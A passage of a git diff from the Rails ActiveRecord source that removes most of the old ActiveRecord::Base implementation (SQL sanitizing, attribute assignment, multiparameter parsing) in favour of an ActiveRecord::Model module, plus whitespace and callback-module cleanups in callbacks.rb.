-        def build_default_scope #:nodoc:
-          if method(:default_scope).owner != Base.singleton_class
-            evaluate_default_scope { default_scope }
-          elsif default_scopes.any?
-            evaluate_default_scope do
-              default_scopes.inject(relation) do |default_scope, scope|
-                if scope.is_a?(Hash)
-                  default_scope.apply_finder_options(scope)
-                elsif !scope.is_a?(Relation) && scope.respond_to?(:call)
-                  default_scope.merge(scope.call)
-                else
-                  default_scope.merge(scope)
-                end
-              end
-            end
-          end
-        end
-
-        def ignore_default_scope? #:nodoc:
-          Thread.current["#{self}_ignore_default_scope"]
-        end
-
-        def ignore_default_scope=(ignore) #:nodoc:
-          Thread.current["#{self}_ignore_default_scope"] = ignore
-        end
-
-        # The ignore_default_scope flag is used to prevent an infinite recursion situation where
-        # a default scope references a scope which has a default scope which references a scope...
-        def evaluate_default_scope
-          return if ignore_default_scope?
-
-          begin
-            self.ignore_default_scope = true
-            yield
-          ensure
-            self.ignore_default_scope = false
-          end
-        end
-
-        # Returns the class type of the record using the current module as a prefix. So descendants of
-        # MyApp::Business::Account would appear as MyApp::Business::AccountSubclass.
-        def compute_type(type_name)
-          if type_name.match(/^::/)
-            # If the type is prefixed with a scope operator then we assume that
-            # the type_name is an absolute reference.
-            ActiveSupport::Dependencies.constantize(type_name)
-          else
-            # Build a list of candidates to search for
-            candidates = []
-            name.scan(/::|$/) { candidates.unshift "#{$`}::#{type_name}" }
-            candidates << type_name
-
-            candidates.each do |candidate|
-              begin
-                constant = ActiveSupport::Dependencies.constantize(candidate)
-                return constant if candidate == constant.to_s
-              rescue NameError => e
-                # We don't want to swallow NoMethodError < NameError errors
-                raise e unless e.instance_of?(NameError)
-              end
-            end
-
-            raise NameError, "uninitialized constant #{candidates.first}"
-          end
-        end
-
-        # Returns the class descending directly from ActiveRecord::Base or an
-        # abstract class, if any, in the inheritance hierarchy.
-        def class_of_active_record_descendant(klass)
-          if klass == Base || klass.superclass == Base || klass.superclass.abstract_class?
-            klass
-          elsif klass.superclass.nil?
-            raise ActiveRecordError, "#{name} doesn't belong in a hierarchy descending from ActiveRecord"
-          else
-            class_of_active_record_descendant(klass.superclass)
-          end
-        end
-
-        # Accepts an array, hash, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a WHERE clause.
-        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
-        #   { :name => "foo'bar", :group_id => 4 }  returns "name='foo''bar' and group_id='4'"
-        #   "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
-        def sanitize_sql_for_conditions(condition, table_name = self.table_name)
-          return nil if condition.blank?
-
-          case condition
-            when Array; sanitize_sql_array(condition)
-            when Hash;  sanitize_sql_hash_for_conditions(condition, table_name)
-            else        condition
-          end
-        end
-        alias_method :sanitize_sql, :sanitize_sql_for_conditions
-
-        # Accepts an array, hash, or string of SQL conditions and sanitizes
-        # them into a valid SQL fragment for a SET clause.
-        #   { :name => nil, :group_id => 4 }  returns "name = NULL , group_id='4'"
-        def sanitize_sql_for_assignment(assignments)
-          case assignments
-            when Array; sanitize_sql_array(assignments)
-            when Hash;  sanitize_sql_hash_for_assignment(assignments)
-            else        assignments
-          end
-        end
-
-        def aggregate_mapping(reflection)
-          mapping = reflection.options[:mapping] || [reflection.name, reflection.name]
-          mapping.first.is_a?(Array) ? mapping : [mapping]
-        end
-
-        # Accepts a hash of SQL conditions and replaces those attributes
-        # that correspond to a +composed_of+ relationship with their expanded
-        # aggregate attribute values.
-        # Given:
-        #     class Person < ActiveRecord::Base
-        #       composed_of :address, :class_name => "Address",
-        #         :mapping => [%w(address_street street), %w(address_city city)]
-        #     end
-        # Then:
-        #     { :address => Address.new("813 abc st.", "chicago") }
-        #       # => { :address_street => "813 abc st.", :address_city => "chicago" }
-        def expand_hash_conditions_for_aggregates(attrs)
-          expanded_attrs = {}
-          attrs.each do |attr, value|
-            unless (aggregation = reflect_on_aggregation(attr.to_sym)).nil?
-              mapping = aggregate_mapping(aggregation)
-              mapping.each do |field_attr, aggregate_attr|
-                if mapping.size == 1 && !value.respond_to?(aggregate_attr)
-                  expanded_attrs[field_attr] = value
-                else
-                  expanded_attrs[field_attr] = value.send(aggregate_attr)
-                end
-              end
-            else
-              expanded_attrs[attr] = value
-            end
-          end
-          expanded_attrs
-        end
-
-        # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
-        #   { :name => "foo'bar", :group_id => 4 }
-        #     # => "name='foo''bar' and group_id= 4"
-        #   { :status => nil, :group_id => [1,2,3] }
-        #     # => "status IS NULL and group_id IN (1,2,3)"
-        #   { :age => 13..18 }
-        #     # => "age BETWEEN 13 AND 18"
-        #   { 'other_records.id' => 7 }
-        #     # => "`other_records`.`id` = 7"
-        #   { :other_records => { :id => 7 } }
-        #     # => "`other_records`.`id` = 7"
-        # And for value objects on a composed_of relationship:
-        #   { :address => Address.new("123 abc st.", "chicago") }
-        #     # => "address_street='123 abc st.' and address_city='chicago'"
-        def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
-          attrs = expand_hash_conditions_for_aggregates(attrs)
-
-          table = Arel::Table.new(table_name).alias(default_table_name)
-          PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b|
-            connection.visitor.accept b
-          }.join(' AND ')
-        end
-        alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
-
-        # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
-        #   { :status => nil, :group_id => 1 }
-        #     # => "status = NULL , group_id = 1"
-        def sanitize_sql_hash_for_assignment(attrs)
-          attrs.map do |attr, value|
-            "#{connection.quote_column_name(attr)} = #{quote_bound_value(value)}"
-          end.join(', ')
-        end
-
-        # Accepts an array of conditions. The array has each value
-        # sanitized and interpolated into the SQL statement.
-        #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
-        def sanitize_sql_array(ary)
-          statement, *values = ary
-          if values.first.is_a?(Hash) && statement =~ /:\w+/
-            replace_named_bind_variables(statement, values.first)
-          elsif statement.include?('?')
-            replace_bind_variables(statement, values)
-          elsif statement.blank?
-            statement
-          else
-            statement % values.collect { |value| connection.quote_string(value.to_s) }
-          end
-        end
-
-        alias_method :sanitize_conditions, :sanitize_sql
-
-        def replace_bind_variables(statement, values) #:nodoc:
-          raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
-          bound = values.dup
-          c = connection
-          statement.gsub('?') { quote_bound_value(bound.shift, c) }
-        end
-
-        def replace_named_bind_variables(statement, bind_vars) #:nodoc:
-          statement.gsub(/(:?):([a-zA-Z]\w*)/) do
-            if $1 == ':' # skip postgresql casts
-              $& # return the whole match
-            elsif bind_vars.include?(match = $2.to_sym)
-              quote_bound_value(bind_vars[match])
-            else
-              raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
-            end
-          end
-        end
-
-        def expand_range_bind_variables(bind_vars) #:nodoc:
-          expanded = []
-
-          bind_vars.each do |var|
-            next if var.is_a?(Hash)
-
-            if var.is_a?(Range)
-              expanded << var.first
-              expanded << var.last
-            else
-              expanded << var
-            end
-          end
-
-          expanded
-        end
-
-        def quote_bound_value(value, c = connection) #:nodoc:
-          if value.respond_to?(:map) && !value.acts_like?(:string)
-            if value.respond_to?(:empty?) && value.empty?
-              c.quote(nil)
-            else
-              value.map { |v| c.quote(v) }.join(',')
-            end
-          else
-            c.quote(value)
-          end
-        end
-
-        def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc:
-          unless expected == provided
-            raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
-          end
-        end
-
-        def encode_quoted_value(value) #:nodoc:
-          quoted_value = connection.quote(value)
-          quoted_value = "'#{quoted_value[1..-2].gsub(/\'/, "\\\\'")}'" if quoted_value.include?("\\\'") # (for ruby mode) "
-          quoted_value
-        end
-    end
-
-    public
-      # New objects can be instantiated as either empty (pass no construction parameter) or pre-set with
-      # attributes but not yet saved (pass a hash with key names matching the associated table column names).
-      # In both instances, valid attribute keys are determined by the column names of the associated table --
-      # hence you can't have attributes that aren't part of the table columns.
-      #
-      # +initialize+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
-      # in the +options+ parameter.
-      #
-      # ==== Examples
-      #   # Instantiates a single new object
-      #   User.new(:first_name => 'Jamie')
-      #
-      #   # Instantiates a single new object using the :admin mass-assignment security role
-      #   User.new({ :first_name => 'Jamie', :is_admin => true }, :as => :admin)
-      #
-      #   # Instantiates a single new object bypassing mass-assignment security
-      #   User.new({ :first_name => 'Jamie', :is_admin => true }, :without_protection => true)
-      def initialize(attributes = nil, options = {})
-        @attributes = attributes_from_column_definition
-        @association_cache = {}
-        @aggregation_cache = {}
-        @attributes_cache = {}
-        @new_record = true
-        @readonly = false
-        @destroyed = false
-        @marked_for_destruction = false
-        @previously_changed = {}
-        @changed_attributes = {}
-        @relation = nil
-
-        ensure_proper_type
-        set_serialized_attributes
-
-        populate_with_current_scope_attributes
-
-        assign_attributes(attributes, options) if attributes
-
-        yield self if block_given?
-        run_callbacks :initialize
-      end
-
-      # Populate +coder+ with attributes about this record that should be
-      # serialized. The structure of +coder+ defined in this method is
-      # guaranteed to match the structure of +coder+ passed to the +init_with+
-      # method.
-      #
-      # Example:
-      #
-      #   class Post < ActiveRecord::Base
-      #   end
-      #   coder = {}
-      #   Post.new.encode_with(coder)
-      #   coder # => { 'id' => nil, ... }
-      def encode_with(coder)
-        coder['attributes'] = attributes
-      end
-
-      # Initialize an empty model object from +coder+. +coder+ must contain
-      # the attributes necessary for initializing an empty model object. For
-      # example:
-      #
-      #   class Post < ActiveRecord::Base
-      #   end
-      #
-      #   post = Post.allocate
-      #   post.init_with('attributes' => { 'title' => 'hello world' })
-      #   post.title # => 'hello world'
-      def init_with(coder)
-        @attributes = coder['attributes']
-        @relation = nil
-
-        set_serialized_attributes
-
-        @attributes_cache, @previously_changed, @changed_attributes = {}, {}, {}
-        @association_cache = {}
-        @aggregation_cache = {}
-        @readonly = @destroyed = @marked_for_destruction = false
-        @new_record = false
-        run_callbacks :find
-        run_callbacks :initialize
-
-        self
-      end
-
-      # Returns a String, which Action Pack uses for constructing an URL to this
-      # object. The default implementation returns this record's id as a String,
-      # or nil if this record's unsaved.
-      #
-      # For example, suppose that you have a User model, and that you have a
-      # <tt>resources :users</tt> route. Normally, +user_path+ will
-      # construct a path with the user object's 'id' in it:
-      #
-      #   user = User.find_by_name('Phusion')
-      #   user_path(user)  # => "/users/1"
-      #
-      # You can override +to_param+ in your model to make +user_path+ construct
-      # a path using the user's name instead of the user's id:
-      #
-      #   class User < ActiveRecord::Base
-      #     def to_param  # overridden
-      #       name
-      #     end
-      #   end
-      #
-      #   user = User.find_by_name('Phusion')
-      #   user_path(user)  # => "/users/Phusion"
-      def to_param
-        # We can't use alias_method here, because method 'id' optimizes itself on the fly.
-        id && id.to_s # Be sure to stringify the id for routes
-      end
-
-      # Returns a cache key that can be used to identify this record.
-      #
-      # ==== Examples
-      #
-      #   Product.new.cache_key     # => "products/new"
-      #   Product.find(5).cache_key # => "products/5" (updated_at not available)
-      #   Person.find(5).cache_key  # => "people/5-20071224150000" (updated_at available)
-      def cache_key
-        case
-        when new_record?
-          "#{self.class.model_name.cache_key}/new"
-        when timestamp = self[:updated_at]
-          timestamp = timestamp.utc.to_s(:number)
-          "#{self.class.model_name.cache_key}/#{id}-#{timestamp}"
-        else
-          "#{self.class.model_name.cache_key}/#{id}"
-        end
-      end
-
-      def quoted_id #:nodoc:
-        quote_value(id, column_for_attribute(self.class.primary_key))
-      end
-
-      # Returns true if the given attribute is in the attributes hash
-      def has_attribute?(attr_name)
-        @attributes.has_key?(attr_name.to_s)
-      end
-
-      # Returns an array of names for the attributes available on this object.
-      def attribute_names
-        @attributes.keys
-      end
-
-      # Allows you to set all the attributes at once by passing in a hash with keys
-      # matching the attribute names (which again matches the column names).
-      #
-      # If any attributes are protected by either +attr_protected+ or
-      # +attr_accessible+ then only settable attributes will be assigned.
-      #
-      #   class User < ActiveRecord::Base
-      #     attr_protected :is_admin
-      #   end
-      #
-      #   user = User.new
-      #   user.attributes = { :username => 'Phusion', :is_admin => true }
-      #   user.username   # => "Phusion"
-      #   user.is_admin?  # => false
-      def attributes=(new_attributes)
-        return unless new_attributes.is_a?(Hash)
-
-        assign_attributes(new_attributes)
-      end
-
-      # Allows you to set all the attributes for a particular mass-assignment
-      # security role by passing in a hash of attributes with keys matching
-      # the attribute names (which again matches the column names) and the role
-      # name using the :as option.
-      #
-      # To bypass mass-assignment security you can use the :without_protection => true
-      # option.
-      #
-      #   class User < ActiveRecord::Base
-      #     attr_accessible :name
-      #     attr_accessible :name, :is_admin, :as => :admin
-      #   end
-      #
-      #   user = User.new
-      #   user.assign_attributes({ :name => 'Josh', :is_admin => true })
-      #   user.name       # => "Josh"
-      #   user.is_admin?  # => false
-      #
-      #   user = User.new
-      #   user.assign_attributes({ :name => 'Josh', :is_admin => true }, :as => :admin)
-      #   user.name       # => "Josh"
-      #   user.is_admin?  # => true
-      #
-      #   user = User.new
-      #   user.assign_attributes({ :name => 'Josh', :is_admin => true }, :without_protection => true)
-      #   user.name       # => "Josh"
-      #   user.is_admin?  # => true
-      def assign_attributes(new_attributes, options = {})
-        return unless new_attributes
-
-        attributes = new_attributes.stringify_keys
-        multi_parameter_attributes = []
-        @mass_assignment_options = options
-
-        unless options[:without_protection]
-          attributes = sanitize_for_mass_assignment(attributes, mass_assignment_role)
-        end
-
-        attributes.each do |k, v|
-          if k.include?("(")
-            multi_parameter_attributes << [ k, v ]
-          elsif respond_to?("#{k}=")
-            send("#{k}=", v)
-          else
-            raise(UnknownAttributeError, "unknown attribute: #{k}")
-          end
-        end
-
-        @mass_assignment_options = nil
-        assign_multiparameter_attributes(multi_parameter_attributes)
-      end
-
-      # Returns a hash of all the attributes with their names as keys and the values of the attributes as values.
-      def attributes
-        Hash[@attributes.map { |name, _| [name, read_attribute(name)] }]
-      end
-
-      # Returns an <tt>#inspect</tt>-like string for the value of the
-      # attribute +attr_name+. String attributes are truncated upto 50
-      # characters, and Date and Time attributes are returned in the
-      # <tt>:db</tt> format. Other attributes return the value of
-      # <tt>#inspect</tt> without modification.
-      #
-      #   person = Person.create!(:name => "David Heinemeier Hansson " * 3)
-      #
-      #   person.attribute_for_inspect(:name)
-      #   # => '"David Heinemeier Hansson David Heinemeier Hansson D..."'
-      #
-      #   person.attribute_for_inspect(:created_at)
-      #   # => '"2009-01-12 04:48:57"'
-      def attribute_for_inspect(attr_name)
-        value = read_attribute(attr_name)
-
-        if value.is_a?(String) && value.length > 50
-          "#{value[0..50]}...".inspect
-        elsif value.is_a?(Date) || value.is_a?(Time)
-          %("#{value.to_s(:db)}")
-        else
-          value.inspect
-        end
-      end
-
-      # Returns true if the specified +attribute+ has been set by the user or by a database load and is neither
-      # nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings).
-      def attribute_present?(attribute)
-        value = _read_attribute(attribute)
-        !value.nil? || (value.respond_to?(:empty?) && !value.empty?)
-      end
-
-      # Returns the column object for the named attribute.
-      def column_for_attribute(name)
-        self.class.columns_hash[name.to_s]
-      end
-
-      # Returns true if +comparison_object+ is the same exact object, or +comparison_object+
-      # is of the same type and +self+ has an ID and it is equal to +comparison_object.id+.
-      #
-      # Note that new records are different from any other record by definition, unless the
-      # other record is the receiver itself. Besides, if you fetch existing records with
-      # +select+ and leave the ID out, you're on your own, this predicate will return false.
-      #
-      # Note also that destroying a record preserves its ID in the model instance, so deleted
-      # models are still comparable.
-      def ==(comparison_object)
-        super ||
-          comparison_object.instance_of?(self.class) &&
-          id.present? &&
-          comparison_object.id == id
-      end
-      alias :eql? :==
-
-      # Delegates to id in order to allow two records of the same type and id to work with something like:
-      #   [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
-      def hash
-        id.hash
-      end
-
-      # Freeze the attributes hash such that associations are still accessible, even on destroyed records.
-      def freeze
-        @attributes.freeze; self
-      end
-
-      # Returns +true+ if the attributes hash has been frozen.
-      def frozen?
-        @attributes.frozen?
-      end
-
-      # Allows sort on objects
-      def <=>(other_object)
-        if other_object.is_a?(self.class)
-          self.to_key <=> other_object.to_key
-        else
-          nil
-        end
-      end
-
-      # Backport dup from 1.9 so that initialize_dup() gets called
-      unless Object.respond_to?(:initialize_dup)
-        def dup # :nodoc:
-          copy = super
-          copy.initialize_dup(self)
-          copy
-        end
-      end
-
-      # Duped objects have no id assigned and are treated as new records. Note
-      # that this is a "shallow" copy as it copies the object's attributes
-      # only, not its associations. The extent of a "deep" copy is application
-      # specific and is therefore left to the application to implement according
-      # to its need.
-      # The dup method does not preserve the timestamps (created|updated)_(at|on).
-      def initialize_dup(other)
-        cloned_attributes = other.clone_attributes(:read_attribute_before_type_cast)
-        cloned_attributes.delete(self.class.primary_key)
-
-        @attributes = cloned_attributes
-
-        _run_after_initialize_callbacks if respond_to?(:_run_after_initialize_callbacks)
-
-        @changed_attributes = {}
-        attributes_from_column_definition.each do |attr, orig_value|
-          @changed_attributes[attr] = orig_value if field_changed?(attr, orig_value, @attributes[attr])
-        end
-
-        @aggregation_cache = {}
-        @association_cache = {}
-        @attributes_cache = {}
-        @new_record  = true
-
-        ensure_proper_type
-        populate_with_current_scope_attributes
-        super
-      end
-
-      # Returns +true+ if the record is read only. Records loaded through joins with piggy-back
-      # attributes will be marked as read only since they cannot be saved.
-      def readonly?
-        @readonly
-      end
-
-      # Marks this record as read only.
-      def readonly!
-        @readonly = true
-      end
-
-      # Returns the contents of the record as a nicely formatted string.
-      def inspect
-        inspection = if @attributes
-                       self.class.column_names.collect { |name|
-                         if has_attribute?(name)
-                           "#{name}: #{attribute_for_inspect(name)}"
-                         end
-                       }.compact.join(", ")
-                     else
-                       "not initialized"
-                     end
-        "#<#{self.class} #{inspection}>"
-      end
-
-    protected
-      def clone_attributes(reader_method = :read_attribute, attributes = {})
-        attribute_names.each do |name|
-          attributes[name] = clone_attribute_value(reader_method, name)
-        end
-        attributes
-      end
-
-      def clone_attribute_value(reader_method, attribute_name)
-        value = send(reader_method, attribute_name)
-        value.duplicable? ? value.clone : value
-      rescue TypeError, NoMethodError
-        value
-      end
-
-      def mass_assignment_options
-        @mass_assignment_options ||= {}
-      end
-
-      def mass_assignment_role
-        mass_assignment_options[:as] || :default
-      end
-
-    private
-
-      # Under Ruby 1.9, Array#flatten will call #to_ary (recursively) on each of the elements
-      # of the array, and then rescues from the possible NoMethodError. If those elements are
-      # ActiveRecord::Base's, then this triggers the various method_missing's that we have,
-      # which significantly impacts upon performance.
-      #
-      # So we can avoid the method_missing hit by explicitly defining #to_ary as nil here.
-      #
-      # See also http://tenderlovemaking.com/2011/06/28/til-its-ok-to-return-nil-from-to_ary/
-      def to_ary # :nodoc:
-        nil
-      end
-
-      def set_serialized_attributes
-        sattrs = self.class.serialized_attributes
-
-        sattrs.each do |key, coder|
-          @attributes[key] = coder.load @attributes[key] if @attributes.key?(key)
-        end
-      end
-
-      # Sets the attribute used for single table inheritance to this class name if this is not the
-      # ActiveRecord::Base descendant.
-      # Considering the hierarchy Reply < Message < ActiveRecord::Base, this makes it possible to
-      # do Reply.new without having to set <tt>Reply[Reply.inheritance_column] = "Reply"</tt> yourself.
-      # No such attribute would be set for objects of the Message class in that example.
-      def ensure_proper_type
-        klass = self.class
-        if klass.finder_needs_type_condition?
-          write_attribute(klass.inheritance_column, klass.sti_name)
-        end
-      end
-
-      # The primary key and inheritance column can never be set by mass-assignment for security reasons.
-      def self.attributes_protected_by_default
-        default = [ primary_key, inheritance_column ]
-        default << 'id' unless primary_key.eql? 'id'
-        default
-      end
-
-      # Returns a copy of the attributes hash where all the values have been safely quoted for use in
-      # an Arel insert/update method.
-      def arel_attributes_values(include_primary_key = true, include_readonly_attributes = true, attribute_names = @attributes.keys)
-        attrs      = {}
-        klass      = self.class
-        arel_table = klass.arel_table
-
-        attribute_names.each do |name|
-          if (column = column_for_attribute(name)) && (include_primary_key || !column.primary)
-
-            if include_readonly_attributes || (!include_readonly_attributes && !self.class.readonly_attributes.include?(name))
-
-              value = if coder = klass.serialized_attributes[name]
-                        coder.dump @attributes[name]
-                      else
-                        # FIXME: we need @attributes to be used consistently.
-                        # If the values stored in @attributes were already type
-                        # casted, this code could be simplified
-                        read_attribute(name)
-                      end
-
-              attrs[arel_table[name]] = value
-            end
-          end
-        end
-        attrs
-      end
-
-      # Quote strings appropriately for SQL statements.
-      def quote_value(value, column = nil)
-        self.class.connection.quote(value, column)
-      end
-
-      # Instantiates objects for all attribute classes that needs more than one constructor parameter. This is done
-      # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
-      # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
-      # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
-      # parentheses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum,
-      # f for Float, s for String, and a for Array. If all the values for a given attribute are empty, the
-      # attribute will be set to nil.
-      def assign_multiparameter_attributes(pairs)
-        execute_callstack_for_multiparameter_attributes(
-          extract_callstack_for_multiparameter_attributes(pairs)
-        )
-      end
-
-      def instantiate_time_object(name, values)
-        if self.class.send(:create_time_zone_conversion_attribute?, name, column_for_attribute(name))
-          Time.zone.local(*values)
-        else
-          Time.time_with_datetime_fallback(@@default_timezone, *values)
-        end
-      end
-
-      def execute_callstack_for_multiparameter_attributes(callstack)
-        errors = []
-        callstack.each do |name, values_with_empty_parameters|
-          begin
-            send(name + "=", read_value_from_parameter(name, values_with_empty_parameters))
-          rescue => ex
-            errors << AttributeAssignmentError.new("error on assignment #{values_with_empty_parameters.values.inspect} to #{name}", ex, name)
-          end
-        end
-        unless errors.empty?
-          raise MultiparameterAssignmentErrors.new(errors), "#{errors.size} error(s) on assignment of multiparameter attributes"
-        end
-      end
-
-      def read_value_from_parameter(name, values_hash_from_param)
-        klass = (self.class.reflect_on_aggregation(name.to_sym) || column_for_attribute(name)).klass
-        if values_hash_from_param.values.all?{|v|v.nil?}
-          nil
-        elsif klass == Time
-          read_time_parameter_value(name, values_hash_from_param)
-        elsif klass == Date
-          read_date_parameter_value(name, values_hash_from_param)
-        else
-          read_other_parameter_value(klass, name, values_hash_from_param)
-        end
-      end
-
-      def read_time_parameter_value(name, values_hash_from_param)
-        # If Date bits were not provided, error
-        raise "Missing Parameter" if [1,2,3].any?{|position| !values_hash_from_param.has_key?(position)}
-        max_position = extract_max_param_for_multiparameter_attributes(values_hash_from_param, 6)
-        # If Date bits were provided but blank, then return nil
-        return nil if (1..3).any? {|position| values_hash_from_param[position].blank?}
-
-        set_values = (1..max_position).collect{|position| values_hash_from_param[position] }
-        # If Time bits are not there, then default to 0
-        (3..5).each {|i| set_values[i] = set_values[i].blank? ? 0 : set_values[i]}
-        instantiate_time_object(name, set_values)
-      end
-
-      def read_date_parameter_value(name, values_hash_from_param)
-        return nil if (1..3).any? {|position| values_hash_from_param[position].blank?}
-        set_values = [values_hash_from_param[1], values_hash_from_param[2], values_hash_from_param[3]]
-        begin
-          Date.new(*set_values)
-        rescue ArgumentError # if Date.new raises an exception on an invalid date
-          instantiate_time_object(name, set_values).to_date # we instantiate Time object and convert it back to a date thus using Time's logic in handling invalid dates
-        end
-      end
-
-      def read_other_parameter_value(klass, name, values_hash_from_param)
-        max_position = extract_max_param_for_multiparameter_attributes(values_hash_from_param)
-        values = (1..max_position).collect do |position|
-          raise "Missing Parameter" if !values_hash_from_param.has_key?(position)
-          values_hash_from_param[position]
-        end
-        klass.new(*values)
-      end
-
-      def extract_max_param_for_multiparameter_attributes(values_hash_from_param, upper_cap = 100)
-        [values_hash_from_param.keys.max,upper_cap].min
-      end
-
-      def extract_callstack_for_multiparameter_attributes(pairs)
-        attributes = { }
-
-        pairs.each do |pair|
-          multiparameter_name, value = pair
-          attribute_name = multiparameter_name.split("(").first
-          attributes[attribute_name] = {} unless attributes.include?(attribute_name)
-
-          parameter_value = value.empty? ? nil : type_cast_attribute_value(multiparameter_name, value)
-          attributes[attribute_name][find_parameter_position(multiparameter_name)] ||= parameter_value
-        end
-
-        attributes
-      end
-
-      def type_cast_attribute_value(multiparameter_name, value)
-        multiparameter_name =~ /\([0-9]*([if])\)/ ? value.send("to_" + $1) : value
-      end
-
-      def find_parameter_position(multiparameter_name)
-        multiparameter_name.scan(/\(([0-9]*).*\)/).first.first.to_i
-      end
-
-      # Returns a comma-separated pair list, like "key1 = val1, key2 = val2".
-      def comma_pair_list(hash)
-        hash.map { |k,v| "#{k} = #{v}" }.join(", ")
-      end
-
-      def quote_columns(quoter, hash)
-        Hash[hash.map { |name, value| [quoter.quote_column_name(name), value] }]
-      end
-
-      def quoted_comma_pair_list(quoter, hash)
-        comma_pair_list(quote_columns(quoter, hash))
-      end
-
-      def convert_number_column_value(value)
-        if value == false
-          0
-        elsif value == true
-          1
-        elsif value.is_a?(String) && value.blank?
-          nil
-        else
-          value
-        end
-      end
-
-      def populate_with_current_scope_attributes
-        return unless self.class.scope_attributes?
-
-        self.class.scope_attributes.each do |att,value|
-          send("#{att}=", value) if respond_to?("#{att}=")
-        end
-      end
-  end
-
-  Base.class_eval do
-    include ActiveRecord::Persistence
-    extend ActiveModel::Naming
-    extend QueryCache::ClassMethods
-    extend ActiveSupport::Benchmarkable
-    extend ActiveSupport::DescendantsTracker
-
-    include ActiveModel::Conversion
-    include Validations
-    extend CounterCache
-    include Locking::Optimistic, Locking::Pessimistic
-    include AttributeMethods
-    include AttributeMethods::Read, AttributeMethods::Write, AttributeMethods::BeforeTypeCast, AttributeMethods::Query
-    include AttributeMethods::PrimaryKey
-    include AttributeMethods::TimeZoneConversion
-    include AttributeMethods::Dirty
-    include ActiveModel::MassAssignmentSecurity
-    include Callbacks, ActiveModel::Observing, Timestamp
-    include Associations, NamedScope
-    include IdentityMap
-    include ActiveModel::SecurePassword
-
-    # AutosaveAssociation needs to be included before Transactions, because we want
-    # #save_with_autosave_associations to be wrapped inside a transaction.
-    include AutosaveAssociation, NestedAttributes
-    include Aggregations, Transactions, Reflection, Serialization, Store
-
-    NilClass.add_whiner(self) if NilClass.respond_to?(:add_whiner)
-
-    # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
-    # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
-    # (Alias for the protected read_attribute method).
-    alias [] read_attribute
-
-    # Updates the attribute identified by <tt>attr_name</tt> with the specified +value+.
-    # (Alias for the protected write_attribute method).
-    alias []= write_attribute
-
-    public :[], :[]=
+    include ActiveRecord::Model
   end
 end
 
-require 'active_record/connection_adapters/abstract/connection_specification'
-ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Base)
+ActiveSupport.run_load_hooks(:active_record, ActiveRecord::Model::DeprecationProxy.new)
diff --git a/activerecord/lib/active_record/callbacks.rb b/activerecord/lib/active_record/callbacks.rb
index a175bf003c..111208d0b9 100644
--- a/activerecord/lib/active_record/callbacks.rb
+++ b/activerecord/lib/active_record/callbacks.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/array/wrap'
-
 module ActiveRecord
   # = Active Record Callbacks
   #
@@ -25,7 +23,7 @@ module ActiveRecord
   # Check out <tt>ActiveRecord::Transactions</tt> for more details about <tt>after_commit</tt> and
   # <tt>after_rollback</tt>.
   #
-  # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that 
+  # Lastly an <tt>after_find</tt> and <tt>after_initialize</tt> callback is triggered for each object that
   # is found and instantiated by a finder, with <tt>after_initialize</tt> being triggered after new objects
   # are instantiated as well.
   #
@@ -36,7 +34,7 @@ module ActiveRecord
   # Examples:
   #   class CreditCard < ActiveRecord::Base
   #     # Strip everything but digits, so the user can specify "555 234 34" or
-  #     # "5552-3434" or both will mean "55523434"
+  #     # "5552-3434" and both will mean "55523434"
   #     before_validation(:on => :create) do
   #       self.number = number.gsub(/[^0-9]/, "") if attribute_present?("number")
   #     end
@@ -215,23 +213,23 @@ module ActiveRecord
   # instead of quietly returning +false+.
   #
   # == Debugging callbacks
-  # 
-  # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. ActiveModel Callbacks support 
+  #
+  # The callback chain is accessible via the <tt>_*_callbacks</tt> method on an object. ActiveModel Callbacks support
   # <tt>:before</tt>, <tt>:after</tt> and <tt>:around</tt> as values for the <tt>kind</tt> property. The <tt>kind</tt> property
   # defines what part of the chain the callback runs in.
-  # 
-  # To find all callbacks in the before_save callback chain: 
-  # 
+  #
+  # To find all callbacks in the before_save callback chain:
+  #
   #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }
-  # 
+  #
   # Returns an array of callback objects that form the before_save chain.
-  # 
+  #
   # To further check if the before_save chain contains a proc defined as <tt>rest_when_dead</tt> use the <tt>filter</tt> property of the callback object:
-  # 
+  #
   #   Topic._save_callbacks.select { |cb| cb.kind.eql?(:before) }.collect(&:filter).include?(:rest_when_dead)
-  # 
+  #
   # Returns true or false depending on whether the proc is contained in the before_save callback chain on a Topic model.
-  # 
+  #
   module Callbacks
     extend ActiveSupport::Concern
 
@@ -242,8 +240,11 @@ module ActiveRecord
       :before_destroy, :around_destroy, :after_destroy, :after_commit, :after_rollback
     ]
 
+    module ClassMethods
+      include ActiveModel::Callbacks
+    end
+
     included do
-      extend ActiveModel::Callbacks
       include ActiveModel::Validations::Callbacks
 
       define_model_callbacks :initialize, :find, :touch, :only => :after
diff --git a/activerecord/lib/active_record/coders/yaml_column.rb b/activerecord/lib/active_record/coders/yaml_column.rb
index fb59d9fb07..f17e7158de 100644
--- a/activerecord/lib/active_record/coders/yaml_column.rb
